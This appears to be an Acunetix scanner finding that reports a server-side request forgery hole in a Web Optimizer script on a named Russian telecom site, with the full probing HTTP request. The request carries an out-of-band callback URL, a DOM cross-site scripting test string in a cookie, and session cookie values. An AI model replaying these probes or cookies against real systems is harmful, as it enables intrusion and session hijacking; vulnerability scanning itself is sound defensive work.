Attack details

URL encoded GET input was set to http://hitLVcyIasXkF.bxss.me/

An HTTP request was initiated for the domain hitLVcyIasXkF.bxss.me which indicates that this script is vulnerable to SSRF.

HTTP request details:
IP address: 91.204.73.53
User agent: Web Optimizer Downloader

HTTP request

GET /sites/all/modules/weboptimizer/web-optimizer/cache/wo.static.php?http://hitLVcyIasXkF.bxss.me/ HTTP/1.1
Cookie: SESSb528791853c11d9e7e82fab0a8e003d2=kvpg8nj53d8rjuceaktobpo0p2; _ym_uid=1536190447487022978; _ym_d=1536190447; _ym_isad=2; _ym_visorc_22122178=w; jv_enter_ts_vIAkaUXWoO=1536190587910; jv_visits_count_vIAkaUXWoO=1; jv_refer_vIAkaUXWoO=http%3A%2F%2Fwww.acunetix-referrer.com%2Fjavascript%3AdomxssExecutionSink(0%2C%22'%5C%22%3E%3Cxsstag%3E()refdxss%22); jv_utm_vIAkaUXWoO=; jv_pages_count_vIAkaUXWoO=4; yp=1851550627.yrtsi.1536190627; yandexuid=3741984211536190850; yabs-sid=863698391536190850; przvdom=aec9e0b96eda1de56e7eca16487d8d2ef79cce42ed4c98f1c0c900b331344c90; przvlng=ru; przvgl=6c2147e2951f84179d9f2216c0be95adbabf6df2deaa2e03910bfa85f2369217; przvusr=e58c712e76e2839e403274f18df9c76c81e49678fb83c2f3b64b7a13cfdc21ae; przvonline=1; przvdistance=0; jv_close_time_vIAkaUXWoO=1536191313662
Host: dominant-telecom.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*